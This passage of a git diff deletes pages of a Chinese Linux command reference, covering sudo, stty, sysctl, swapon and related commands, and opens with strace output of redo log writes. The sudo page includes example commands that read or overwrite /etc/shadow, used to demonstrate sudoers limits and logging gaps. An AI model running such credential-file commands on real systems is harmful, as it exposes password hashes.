-lrwx------    1 oracle   dba            64 Dec 30 10:55 24 -> /db/databases/orcl/redo-02-a/redo-t01-g04-m1.log
-lrwx------    1 oracle   dba            64 Dec 30 10:55 25 -> /db/databases/orcl/redo-04-a/redo-t01-g04-m2.log
-
-

现在能看到我机器当前日志文件的句柄分别是20和21。

-

现在我们得到如下结果

-
11:13:55.603245 pwrite(20, "\1\"\0\0J!"..., 1536, 4363264) = 1536
-11:13:55.603569 pwrite(21, "\1\"\0\0J!"..., 1536, 4363264) = 1536
-11:13:55.606888 pwrite(20, "\1\"\0\0M!"..., 1536, 4364800) = 1536
-11:13:55.607172 pwrite(21, "\1\"\0\0M!"..., 1536, 4364800) = 1536
-11:13:55.607934 pwrite(20, "\1\"\0\0P!"..., 1536, 4366336) = 1536
-11:13:55.608199 pwrite(21, "\1\"\0\0P!"..., 1536, 4366336) = 1536
-11:13:55.610260 pwrite(20, "\1\"\0\0S!"..., 1536, 4367872) = 1536
-11:13:55.610530 pwrite(21, "\1\"\0\0S!"..., 1536, 4367872) = 1536
-11:14:00.602446 pwrite(20, "\1\"\0\0V!"..., 1536, 4369408) = 1536
-11:14:00.602750 pwrite(21, "\1\"\0\0V!"..., 1536, 4369408) = 1536
-11:14:00.606386 pwrite(20, "\1\"\0\0Y!"..., 1536, 4370944) = 1536
-11:14:00.606676 pwrite(21, "\1\"\0\0Y!"..., 1536, 4370944) = 1536
-11:14:00.607900 pwrite(20, "\1\"\0\0\\"..., 1024, 4372480) = 1024
-11:14:00.608161 pwrite(21, "\1\"\0\0\\"..., 1024, 4372480) = 1024
-11:14:00.608816 pwrite(20, "\1\"\0\0^!"..., 1024, 4373504) = 1024
-11:14:00.609071 pwrite(21, "\1\"\0\0^!"..., 1024, 4373504) = 1024
-11:14:00.611142 pwrite(20, "\1\"\0\0`!"..., 1536, 4374528) = 1536
-11:14:00.611454 pwrite(21, "\1\"\0\0`!"..., 1536, 4374528) = 1536
-11:14:05.602804 pwrite(20, "\1\"\0\0c!"..., 1024, 4376064) = 1024
-11:14:05.603119 pwrite(21, "\1\"\0\0c!"..., 1024, 4376064) = 1024
-11:14:05.607731 pwrite(20, "\1\"\0\0e!"..., 1024, 4377088) = 1024
-11:14:05.608020 pwrite(21, "\1\"\0\0e!"..., 1024, 4377088) = 1024
-11:14:05.608690 pwrite(20, "\1\"\0\0g!"..., 1024, 4378112) = 1024
-11:14:05.608962 pwrite(21, "\1\"\0\0g!"..., 1024, 4378112) = 1024
-11:14:05.611022 pwrite(20, "\1\"\0\0i!"..., 1536, 4379136) = 1536
-11:14:05.611283 pwrite(21, "\1\"\0\0i!"..., 1536, 4379136) = 1536
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/strings.html b/linux-command.docset/Contents/Resources/Documents/c/strings.html deleted file mode 100644 index 7baab9e20d..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/strings.html +++ /dev/null @@ -1,97 +0,0 @@ - - - - - - - - - - - strings 命令,Linux strings 命令详解:在对象文件或二进制文件中查找可打印的字符串 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

strings

-

在对象文件或二进制文件中查找可打印的字符串

-

补充说明

-

strings命令 在对象文件或二进制文件中查找可打印的字符串。字符串是4个或更多可打印字符的任意序列,以换行符或空字符结束。 strings命令对识别随机对象文件很有用。

-

语法

-
strings [ -a ] [ - ] [ -o ] [ -t Format ] [ -n Number ] [ -Number ]  [file ... ]
-
-

选项

-
-a --all:扫描整个文件而不是只扫描目标文件初始化和装载段
--f –print-file-name:在显示字符串前先显示文件名
--n –bytes=[number]:找到并且输出所有NUL终止符序列
-- :设置显示的最少的字符数,默认是4个字符
--t --radix={o,d,x} :输出字符的位置,基于八进制,十进制或者十六进制
--o :类似--radix=o
--T --target= :指定二进制文件格式
--e --encoding={s,S,b,l,B,L} :选择字符大小和排列顺序:s = 7-bit, S = 8-bit, {b,l} = 16-bit, {B,L} = 32-bit
-@ :读取中选项
-
-

实例

-

列出ls中所有的ASCII文本:

-
strings /bin/ls
-
-

列出ls中所有的ASCII文本:

-
cat /bin/ls strings
-
-

查找ls中包含libc的字符串,不区分大小写:

-
strings /bin/ls | grep -i libc
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/stty.html b/linux-command.docset/Contents/Resources/Documents/c/stty.html deleted file mode 100644 index cf8358b004..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/stty.html +++ /dev/null @@ -1,122 +0,0 @@ - - - - - - - - - - - stty 命令,Linux stty 命令详解:修改终端命令行的相关设置 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

stty

-

修改终端命令行的相关设置

-

补充说明

-

stty命令 修改终端命令行的相关设置。

-

语法

-
stty(选项)(参数)
-
-

选项

-
-a:以容易阅读的方式打印当前的所有配置;
--g:以stty可读方式打印当前的所有配置。
-
-

参数

-

终端设置:指定终端命令行的设置选项。

-

实例

-

在命令行下,禁止输出大写的方法:

-
stty iuclc     #开启
-stty -iuclc    #恢复
-
-

在命令行下禁止输出小写:

-
stty olcuc    #开启
-stty -olcuc   #恢复
-
-

打印出终端的行数和列数:

-
stty size
-
-

改变Ctrl+D的方法:

-
stty eof "string"
-
-

系统默认是Ctrl+D来表示文件的结束,而通过这种方法,可以改变!

-

屏蔽显示:

-
stty -echo   #禁止回显
-stty echo    #打开回显
-
-

测试方法:

-
stty -echo;read;stty echo;read
-
-

忽略回车符:

-
stty igncr     #开启
-stty -igncr    #恢复
-
-

定时输入:

-
timeout_read()
-{
-    timeout=$1
-    old_stty_settings=`stty -g`  #save current settings
-    stty -icanon min 0 time 100  #set 10seconds,not 100seconds
-    eval read varname            #=read $varname
-    stty "$old_stty_settings"    #recover settings
-}
-
-

更简单的方法就是利用read命令的-t选项:

-
read -t 10 varname
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/su.html b/linux-command.docset/Contents/Resources/Documents/c/su.html deleted file mode 100644 index 9c4d6e309a..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/su.html +++ /dev/null @@ -1,97 +0,0 @@ - - - - - - - - - - - su 命令,Linux su 命令详解:用于切换当前用户身份到其他用户身份 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

su

-

用于切换当前用户身份到其他用户身份

-

补充说明

-

su命令 用于切换当前用户身份到其他用户身份,变更时须输入所要变更的用户帐号与密码。

-

语法

-
su(选项)(参数)
-
-

选项

-
-c<指令>或--command=<指令>:执行完指定的指令后,即恢复原来的身份;
--f或——fast:适用于csh与tsch,使shell不用去读取启动文件;
--l或——login:改变身份时,也同时变更工作目录,以及HOME,SHELL,USER,logname。此外,也会变更PATH变量;
--m,-p或--preserve-environment:变更身份时,不要变更环境变量;
--s<shell>或--shell=<shell>:指定要执行的shell;
---help:显示帮助;
---version;显示版本信息。
-
-

参数

-

用户:指定要切换身份的目标用户。

-

实例

-

变更帐号为root并在执行ls指令后退出变回原使用者:

-
su -c ls root
-
-

变更帐号为root并传入-f选项给新执行的shell:

-
su root -f
-
-

变更帐号为test并改变工作目录至test的家目录:

-
su -test
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/sudo.html b/linux-command.docset/Contents/Resources/Documents/c/sudo.html deleted file mode 100644 index 5f67290a6a..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/sudo.html +++ /dev/null @@ -1,181 +0,0 @@ - - - - - - - - - - - sudo 命令,Linux sudo 命令详解:以其他身份来执行命令 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

sudo

-

以其他身份来执行命令

-

补充说明

-

sudo命令 用来以其他身份来执行命令,预设的身份为root。在/etc/sudoers中设置了可执行sudo指令的用户。若其未经授权的用户企图使用sudo,则会发出警告的邮件给管理员。用户使用sudo时,必须先输入密码,之后有5分钟的有效期限,超过期限则必须重新输入密码。

-

语法

-
sudo(选项)(参数)
-
-

选项

-
-b:在后台执行指令;
--E:继承当前环境变量
--h:显示帮助;
--H:将HOME环境变量设为新身份的HOME环境变量;
--k:结束密码的有效期限,也就是下次再执行sudo时便需要输入密码;。
--l:列出目前用户可执行与无法执行的指令;
--p:改变询问密码的提示符号;
--s<shell>:执行指定的shell;
--u<用户>:以指定的用户作为新的身份。若不加上此参数,则预设以root作为新的身份;
--v:延长密码有效期限5分钟;
--V :显示版本信息。
-
-

参数

-

指令:需要运行的指令和对应的参数。

-

实例

-
$ sudo su -
-# env | grep -E '(HOME|SHELL|USER|LOGNAME|^PATH|PWD|TEST_ETC|TEST_ZSH|TEST_PRO|TEST_BASH|TEST_HOME|SUDO)'
-
-

这个命令相当于使用root超级用户重新登录一次shell,只不过密码是使用的当前用户的密码。而且重要是,该命令会 重新加载/etc/profile文件以及/etc/bashrc文件等系统配置文件,并且还会重新加载root用户的$SHELL环境变量所对应的配置文件 ,比如:root超级用户的$SHELL是/bin/bash,则会加载/root/.bashrc等配置。如果是/bin/zsh,则会加载/root/.zshrc等配置,执行后是完全的root环境。

-
$ sudo -i
-# env | grep -E '(HOME|SHELL|USER|LOGNAME|^PATH|PWD|TEST_ETC|TEST_ZSH|TEST_PRO|TEST_BASH|TEST_HOME|SUDO)'
-
-

这个命令基本与 sudo su - 相同,执行后也是root超级用户的环境,只不过是多了一些当前用户的信息。

-
$ sudo -s
-# env|grep -E '(HOME|SHELL|USER|LOGNAME|^PATH|PWD|TEST_ETC|TEST_ZSH|TEST_PRO|TEST_BASH|TEST_HOME|SUDO)'  --color
-
-

这个命令相当于 以当前用户的$SHELL开启了一个root超级用户的no-login的shell,不会加载/etc/profile等系统配置 。所以/etc/profile文件中定义的TEST_ETC环境变量就看不到了,但是会加载root用户对应的配置文件,比如root用户的$SHELL是/bin/zsh,那么会加载/root/.zshrc配置文件,执行完后,不会切换当前用户的目录。

-

配置sudo必须通过编辑/etc/sudoers文件,而且只有超级用户才可以修改它,还必须使用visudo编辑。之所以使用visudo有两个原因,一是它能够防止两个用户同时修改它;二是它也能进行有限的语法检查。所以,即使只有你一个超级用户,你也最好用visudo来检查一下语法。

-

visudo默认的是在vi里打开配置文件,用vi来修改文件。我们可以在编译时修改这个默认项。visudo不会擅自保存带有语法错误的配置文件,它会提示你出现的问题,并询问该如何处理,就像:

-
>>> sudoers file: syntax error, line 22 <<
-
-

此时我们有三种选择:键入“e”是重新编辑,键入“x”是不保存退出,键入“Q”是退出并保存。如果真选择Q,那么sudo将不会再运行,直到错误被纠正。

-

现在,我们一起来看一下神秘的配置文件,学一下如何编写它。让我们从一个简单的例子开始:让用户Foobar可以通过sudo执行所有root可执行的命令。以root身份用visudo打开配置文件,可以看到类似下面几行:

-
# Runas alias specification
-# User privilege specificationroot    ALL=(ALL)ALL
-
-

我们一看就明白个差不多了,root有所有权限,只要仿照现有root的例子就行,我们在下面加一行(最好用tab作为空白):

-
foobar ALL=(ALL)    ALL
-
-

保存退出后,切换到foobar用户,我们用它的身份执行命令:

-
[foobar@localhost ~]$ ls /root
-ls: /root: 权限不够
-
-[foobar@localhost ~]$ sudo ls /root
-PassWord:
-anaconda-ks.cfg Desktop install.log install.log.syslog
-
-

好了,我们限制一下foobar的权利,不让他为所欲为。比如我们只想让他像root那样使用ls和ifconfig,把那一行改为:

-
foobar localhost=    /sbin/ifconfig,   /bin/ls
-
-

再来执行命令:

-
[foobar@localhost ~]$ sudo head -5 /etc/shadow
-Password:
-Sorry, user foobar is not allowed to execute '/usr/bin/head -5 /etc/shadow' as root on localhost.localdomain.
-
-[foobar@localhost ~]$ sudo /sbin/ifconfigeth0      Linkencap:Ethernet HWaddr 00:14:85:EC:E9:9B...
-
-

现在让我们来看一下那三个ALL到底是什么意思。第一个ALL是指网络中的主机,我们后面把它改成了主机名,它指明foobar可以在此主机上执行后面的命令。第二个括号里的ALL是指目标用户,也就是以谁的身份去执行命令。最后一个ALL当然就是指命令名了。例如,我们想让foobar用户在linux主机上以jimmy或rene的身份执行kill命令,这样编写配置文件:

-
foobar    linux=(jimmy,rene)    /bin/kill
-
-

但这还有个问题,foobar到底以jimmy还是rene的身份执行?这时我们应该想到了sudo -u了,它正是用在这种时候。 foobar可以使用sudo -u jimmy kill PID或者sudo -u rene kill PID,但这样挺麻烦,其实我们可以不必每次加-u,把rene或jimmy设为默认的目标用户即可。再在上面加一行:

-
Defaults:foobar    runas_default=rene
-
-

Defaults后面如果有冒号,是对后面用户的默认,如果没有,则是对所有用户的默认。就像配置文件中自带的一行:

-
Defaults    env_reset
-
-

另一个问题是,很多时候,我们本来就登录了,每次使用sudo还要输入密码就显得烦琐了。我们可不可以不再输入密码呢?当然可以,我们这样修改配置文件:

-
foobar localhost=NOPASSWD:     /bin/cat, /bin/ls
-
-

再来sudo一下:

-
[foobar@localhost ~]$ sudo ls /rootanaconda-ks.cfg Desktop install.log
-install.log.syslog
-
-

当然,你也可以说“某些命令用户foobar不可以运行”,通过使用!操作符,但这不是一个好主意。因为,用!操作符来从ALL中“剔出”一些命令一般是没什么效果的,一个用户完全可以把那个命令拷贝到别的地方,换一个名字后再来运行。

-

日志与安全

-

sudo为安全考虑得很周到,不仅可以记录日志,还能在有必要时向系统管理员报告。但是,sudo的日志功能不是自动的,必须由管理员开启。这样来做:

-
touch /var/log/sudo
-vi /etc/syslog.conf
-
-

在syslog.conf最后面加一行(必须用tab分割开)并保存:

-
local2.debug                    /var/log/sudo
-
-

重启日志守候进程,

-
ps aux grep syslogd
-
-

把得到的syslogd进程的PID(输出的第二列是PID)填入下面:

-
kill –HUP PID
-
-

这样,sudo就可以写日志了:

-
[foobar@localhost ~]$ sudo ls /rootanaconda-ks.cfg
-Desktop install.log
-install.log.syslog
-$cat /var/log/sudoJul 28 22:52:54 localhost sudo:   foobar :
-TTY=pts/1 ; pwd=/home/foobar ; USER=root ; command=/bin/ls /root
-
-

不过,有一个小小的“缺陷”,sudo记录日志并不是很忠实:

-
[foobar@localhost ~]$ sudo cat /etc/shadow > /dev/null
-cat /var/log/sudo...Jul 28 23:10:24 localhost sudo:   foobar : TTY=pts/1 ;
-PWD=/home/foobar ; USER=root ; COMMAND=/bin/cat /etc/shadow
-
-

重定向没有被记录在案!为什么?因为在命令运行之前,shell把重定向的工作做完了,sudo根本就没看到重定向。这也有个好处,下面的手段不会得逞:

-
[foobar@localhost ~]$ sudo ls /root > /etc/shadowbash: /etc/shadow: 权限不够
-
-

sudo 有自己的方式来保护安全。以root的身份执行sudo-V,查看一下sudo的设置。因为考虑到安全问题,一部分环境变量并没有传递给sudo后面的命令,或者被检查后再传递的,比如:PATH,HOME,SHELL等。当然,你也可以通过sudoers来配置这些环境变量。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/sum.html b/linux-command.docset/Contents/Resources/Documents/c/sum.html deleted file mode 100644 index 65254d9a71..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/sum.html +++ /dev/null @@ -1,87 +0,0 @@ - - - - - - - - - - - sum 命令,Linux sum 命令详解:计算文件的校验码和显示块数 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

sum

-

计算文件的校验码和显示块数

-

补充说明

-

sum命令 用于计算并显示指定文件的校验和与文件所占用的磁盘块数。

-

语法

-
sum(选项)(参数)
-
-

选项

-
-r:使用BSD的校验和算法,块大小为1k;
--s:使用system V的校验和算法,块大小为512字节。
-
-

参数

-

文件列表:需要计算和与磁盘块数的文件列表。

-

实例

-

计算文件校验码:

-
[root@localhost ~]# sum insert.sql
-00827    12
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/supervisord.html b/linux-command.docset/Contents/Resources/Documents/c/supervisord.html deleted file mode 100644 index 66180917a0..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/supervisord.html +++ /dev/null @@ -1,89 +0,0 @@ - - - - - - - - - - - supervisord 命令,Linux supervisord 命令详解:配置后台服务/常驻进程的进程管家工具 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

supervisord

-

配置后台服务/常驻进程的进程管家工具

-

安装

-
# 安装 supervisord
-apt-get install supervisor
-
-

实例

-

生成配置文件 /etc/supervisord.conf

-
[program:app]
-command=/usr/bin/gunicorn -w 1 wsgiapp:application
-directory=/srv/www
-user=www-data
-
-

supervisord: 启动 supervisor 服务

-
supervisorctl start app
-supervisorctl stop app
-supervisorctl reload # 修改/添加配置文件需要执行这个
-
-

下载地址

-

https://pypi.python.org/pypi/meld3
-https://pypi.python.org/pypi/supervisor

-
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/suspend.html b/linux-command.docset/Contents/Resources/Documents/c/suspend.html deleted file mode 100644 index 9137568b22..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/suspend.html +++ /dev/null @@ -1,104 +0,0 @@ - - - - - - - - - - - suspend 命令,Linux suspend 命令详解:挂起shell的执行。 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

suspend

-

挂起shell的执行。

-

概要

-
suspend [-f]
-
-

主要用途

-
    -
  • -

    挂起shell的执行,直到收到SIGCONT信号。

    -
  • -
  • -

    除非使用-f选项,否则无法对login shell使用。

    -
  • -
-

选项

-
-f    对login shell执行挂起操作。
-
-

返回值

-

返回成功除非未开启作业控制或发生了错误。

-

例子

-
# 打开一个终端,首先获取PID。
-echo $
-# 执行挂起命令
-suspend
-
-
# 再打开一个终端,发送SIGCONT命令
-kill -s SIGCONT PID
-# 此时之前的终端结束挂起状态,可以正常交互。
-
-

注意

-
    -
  1. bash的作业控制命令包括bg fg kill wait disown suspend
  2. -
  3. 该命令需要set选项monitor处于开启状态时才能执行;查看作业控制状态:输入set -o查看monitor行;执行set -o monitorset -m开启该选项。
  4. -
  5. 该命令是bash内建命令,相关的帮助信息请查看help命令。
  6. -
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/swapoff.html b/linux-command.docset/Contents/Resources/Documents/c/swapoff.html deleted file mode 100644 index 053b11b4cf..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/swapoff.html +++ /dev/null @@ -1,85 +0,0 @@ - - - - - - - - - - - swapoff 命令,Linux swapoff 命令详解:关闭指定的交换空间 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

swapoff

-

关闭指定的交换空间

-

补充说明

-

swapoff命令 用于关闭指定的交换空间(包括交换文件和交换分区)。swapoff实际上为swapon的符号连接,可用来关闭系统的交换区。

-

语法

-
swapoff(选项)(参数)
-
-

选项

-
-a:关闭配置文件“/etc/fstab”中所有的交换空间。
-
-

参数

-

交换空间:指定需要激活的交换空间,可以是交换文件和交换分区,如果是交换分区则指定交换分区对应的设备文件。

-

实例

-

关闭交换分区

-
swapoff /dev/sda2
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/swapon.html b/linux-command.docset/Contents/Resources/Documents/c/swapon.html deleted file mode 100644 index 213fda7db7..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/swapon.html +++ /dev/null @@ -1,93 +0,0 @@ - - - - - - - - - - - swapon 命令,Linux swapon 命令详解:激活Linux系统中交换空间 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

swapon

-

激活Linux系统中交换空间

-

补充说明

-

swapon命令 用于激活Linux系统中交换空间,Linux系统的内存管理必须使用交换区来建立虚拟内存。

-

语法

-
swapon(选项)(参数)
-
-

选项

-
-a:将/etc/fstab文件中所有设置为swap的设备,启动为交换区;
--h:显示帮助;
--p<优先顺序>:指定交换区的优先顺序;
--s:显示交换区的使用状况;
--V:显示版本信息。
-
-

参数

-

交换空间:指定需要激活的交换空间,可以是交换文件和交换分区,如果是交换分区则指定交换分区对应的设备文件。

-

实例

-
mkswap -c /dev/hdb4 (-c是检查有无坏块)
-swapon -v /dev/hdb4
-swapon -s
-Filename                                type            Size    Used    Priority
-/dev/hda5                               partition       506008 96      -1
-/dev/hdb4                               partition       489972 0       -2
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/sync.html b/linux-command.docset/Contents/Resources/Documents/c/sync.html deleted file mode 100644 index f13828264b..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/sync.html +++ /dev/null @@ -1,91 +0,0 @@ - - - - - - - - - - - sync 命令,Linux sync 命令详解:用于强制被改变的内容立刻写入磁盘 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

sync

-

用于强制被改变的内容立刻写入磁盘

-

补充说明

-

sync命令 用于强制被改变的内容立刻写入磁盘,更新超块信息。

-

在Linux/Unix系统中,在文件或数据处理过程中一般先放到内存缓冲区中,等到适当的时候再写入磁盘,以提高系统的运行效率。sync命令则可用来强制将内存缓冲区中的数据立即写入磁盘中。用户通常不需执行sync命令,系统会自动执行update或bdflush操作,将缓冲区的数据写 入磁盘。只有在update或bdflush无法执行或用户需要非正常关机时,才需手动执行sync命令。

-

语法

-
sync(选项)
-
-

选项

-
-d, --data             只同步文件数据,不同步不必要的元数据
--f, --file-system      同步包含这些文件的文件系统
---help:显示帮助;
---version:显示版本信息。
-
-

buffer与cache

-
    -
  • buffer:为了解决写磁盘的效率
  • -
  • cache:为了解决读磁盘的效率
  • -
-

linux系统为了提高读写磁盘的效率,会先将数据放在一块buffer中。在写磁盘时并不是立即将数据写到磁盘中,而是先写入这块buffer中了。此时如果重启系统,就可能造成数据丢失。

-

sync命令用来flush文件系统buffer,这样数据才会真正的写到磁盘中,并且buffer才能够释放出来,flush就是用来清空buffer。sync命令会强制将数据写入磁盘中,并释放该数据对应的buffer,所以常常会在写磁盘后输入sync命令来将数据真正的写入磁盘。

-

如果不去手动的输入sync命令来真正的去写磁盘,linux系统也会周期性的去sync数据。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/sysctl.html b/linux-command.docset/Contents/Resources/Documents/c/sysctl.html deleted file mode 100644 index c1322ef0b8..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/sysctl.html +++ /dev/null @@ -1,220 +0,0 @@ - - - - - - - - - - - sysctl 命令,Linux sysctl 命令详解:时动态地修改内核的运行参数 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

sysctl

-

时动态地修改内核的运行参数

-

补充说明

-

sysctl命令 被用于在内核运行时动态地修改内核的运行参数,可用的内核参数在目录/proc/sys中。它包含一些TCP/ip堆栈和虚拟内存系统的高级选项, 这可以让有经验的管理员提高引人注目的系统性能。用sysctl可以读取设置超过五百个系统变量。

-

语法

-
sysctl(选项)(参数)
-
-

选项

-
-n:打印值时不打印关键字;
--e:忽略未知关键字错误;
--N:仅打印名称;
--w:当改变sysctl设置时使用此项;
--p:从配置文件“/etc/sysctl.conf”加载内核参数设置;
--a:打印当前所有可用的内核参数变量和值;
--A:以表格方式打印当前所有可用的内核参数变量和值。
-
-

参数

-

变量=值:设置内核参数对应的变量值。

-

实例

-

查看所有可读变量:

-

sysctl -a

-

读一个指定的变量,例如kern.maxproc

-

sysctl kern.maxproc kern.maxproc: 1044

-

要设置一个指定的变量,直接用variable=value这样的语法:

-
sysctl kern.maxfiles=5000
-kern.maxfiles: 2088 -> 5000
-
-

您可以使用sysctl修改系统变量,也可以通过编辑sysctl.conf文件来修改系统变量。sysctl.conf看起来很像rc.conf。它用variable=value的形式来设定值。指定的值在系统进入多用户模式之后被设定。并不是所有的变量都可以在这个模式下设定。

-

sysctl变量的设置通常是字符串、数字或者布尔型。(布尔型用 1 来表示'yes',用 0 来表示'no')。

-
sysctl -w kernel.sysrq=0
-sysctl -w kernel.core_uses_pid=1
-sysctl -w net.ipv4.conf.default.accept_redirects=0
-sysctl -w net.ipv4.conf.default.accept_source_route=0
-sysctl -w net.ipv4.conf.default.rp_filter=1
-sysctl -w net.ipv4.tcp_syncookies=1
-sysctl -w net.ipv4.tcp_max_syn_backlog=2048
-sysctl -w net.ipv4.tcp_fin_timeout=30
-sysctl -w net.ipv4.tcp_synack_retries=2
-sysctl -w net.ipv4.tcp_keepalive_time=3600
-sysctl -w net.ipv4.tcp_window_scaling=1
-sysctl -w net.ipv4.tcp_sack=1
-
-

配置sysctl

-

编辑此文件:/etc/sysctl.conf

-

如果该文件为空,则输入以下内容,否则请根据情况自己做调整:

-
# Controls source route verification
-# Default should work for all interfaces
-net.ipv4.conf.default.rp_filter = 1
-# net.ipv4.conf.all.rp_filter = 1
-# net.ipv4.conf.lo.rp_filter = 1
-# net.ipv4.conf.eth0.rp_filter = 1
-
-# Disables IP source routing
-# Default should work for all interfaces
-net.ipv4.conf.default.accept_source_route = 0
-# net.ipv4.conf.all.accept_source_route = 0
-# net.ipv4.conf.lo.accept_source_route = 0
-# net.ipv4.conf.eth0.accept_source_route = 0
-
-# Controls the System Request debugging functionality of the kernel
-kernel.sysrq = 0
-
-# Controls whether core dumps will append the PID to the core filename.
-# Useful for debugging multi-threaded applications.
-kernel.core_uses_pid = 1
-
-# Increase maximum amount of memory allocated to shm
-# Only uncomment if needed!
-# kernel.shmmax = 67108864
-
-# Disable ICMP Redirect Acceptance
-# Default should work for all interfaces
-net.ipv4.conf.default.accept_redirects = 0
-# net.ipv4.conf.all.accept_redirects = 0
-# net.ipv4.conf.lo.accept_redirects = 0
-# net.ipv4.conf.eth0.accept_redirects = 0
-
-# enable Log Spoofed Packets, Source Routed Packets, Redirect Packets
-# Default should work for all interfaces
-net.ipv4.conf.default.log_martians = 1
-# net.ipv4.conf.all.log_martians = 1
-# net.ipv4.conf.lo.log_martians = 1
-# net.ipv4.conf.eth0.log_martians = 1
-
-# Decrease the time default value for tcp_fin_timeout connection
-net.ipv4.tcp_fin_timeout = 25
-
-# Decrease the time default value for tcp_keepalive_time connection
-net.ipv4.tcp_keepalive_time = 1200
-
-# Turn on the tcp_window_scaling
-net.ipv4.tcp_window_scaling = 1
-
-# Turn on the tcp_sack
-net.ipv4.tcp_sack = 1
-
-# tcp_fack should be on because of sack
-net.ipv4.tcp_fack = 1
-
-# Turn on the tcp_timestamps
-net.ipv4.tcp_timestamps = 1
-
-# Enable TCP SYN Cookie Protection
-net.ipv4.tcp_syncookies = 1
-
-# Enable ignoring broadcasts request
-net.ipv4.icmp_echo_ignore_broadcasts = 1
-
-# Enable bad error message Protection
-net.ipv4.icmp_ignore_bogus_error_responses = 1
-
-# make more local ports available
-# net.ipv4.ip_local_port_range = 1024 65000
-
-# set TCP Re-Ordering value in kernel to ‘5′
-net.ipv4.tcp_reordering = 5
-
-# Lower syn retry rates
-net.ipv4.tcp_synack_retries = 2
-net.ipv4.tcp_syn_retries = 3
-
-# Set Max SYN Backlog to ‘2048′
-net.ipv4.tcp_max_syn_backlog = 2048
-
-# Various Settings
-net.core.netdev_max_backlog = 1024
-
-# Increase the maximum number of skb-heads to be cached
-net.core.hot_list_length = 256
-
-# Increase the tcp-time-wait buckets pool size
-net.ipv4.tcp_max_tw_buckets = 360000
-
-# This will increase the amount of memory available for socket input/output queues
-net.core.rmem_default = 65535
-net.core.rmem_max = 8388608
-net.ipv4.tcp_rmem = 4096 87380 8388608
-net.core.wmem_default = 65535
-net.core.wmem_max = 8388608
-net.ipv4.tcp_wmem = 4096 65535 8388608
-net.ipv4.tcp_mem = 8388608 8388608 8388608
-net.core.optmem_max = 40960
-
-

如果希望屏蔽别人 ping 你的主机,则加入以下代码:

-
# Disable ping requests
-net.ipv4.icmp_echo_ignore_all = 1
-
-

编辑完成后,请执行以下命令使变动立即生效:

-
/sbin/sysctl -p
-/sbin/sysctl -w net.ipv4.route.flush=1
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/syslog.html b/linux-command.docset/Contents/Resources/Documents/c/syslog.html deleted file mode 100644 index 497da939db..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/syslog.html +++ /dev/null @@ -1,91 +0,0 @@ - - - - - - - - - - - syslog 命令,Linux syslog 命令详解:系统默认的日志守护进程 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

syslog

-

系统默认的日志守护进程

-

补充说明

-

syslog 是Linux系统默认的日志守护进程。默认的syslog配置文件是/etc/syslog.conf文件。程序,守护进程和内核提供了访问系统的日志信息。因此,任何希望生成日志信息的程序都可以向 syslog 接口呼叫生成该信息。

-

几乎所有的网络设备都可以通过syslog协议,将日志信息以用户数据报协议(UDP)方式传送到远端服务器,远端接收日志服务器必须通过syslogd监听UDP 端口514,并根据 syslog.conf配置文件中的配置处理本机,接收访问系统的日志信息,把指定的事件写入特定文件中,供后台数据库管理和响应之用。意味着可以让任何事件都登录到一台或多台服务器上,以备后台数据库用off-line(离线) 方法分析远端设备的事件。

-

通常,syslog 接受来自系统的各种功能的信息,每个信息都包括重要级。/etc/syslog.conf 文件通知 syslogd 如何根据设备和信息重要级别来报告信息。

-

使用方法

-

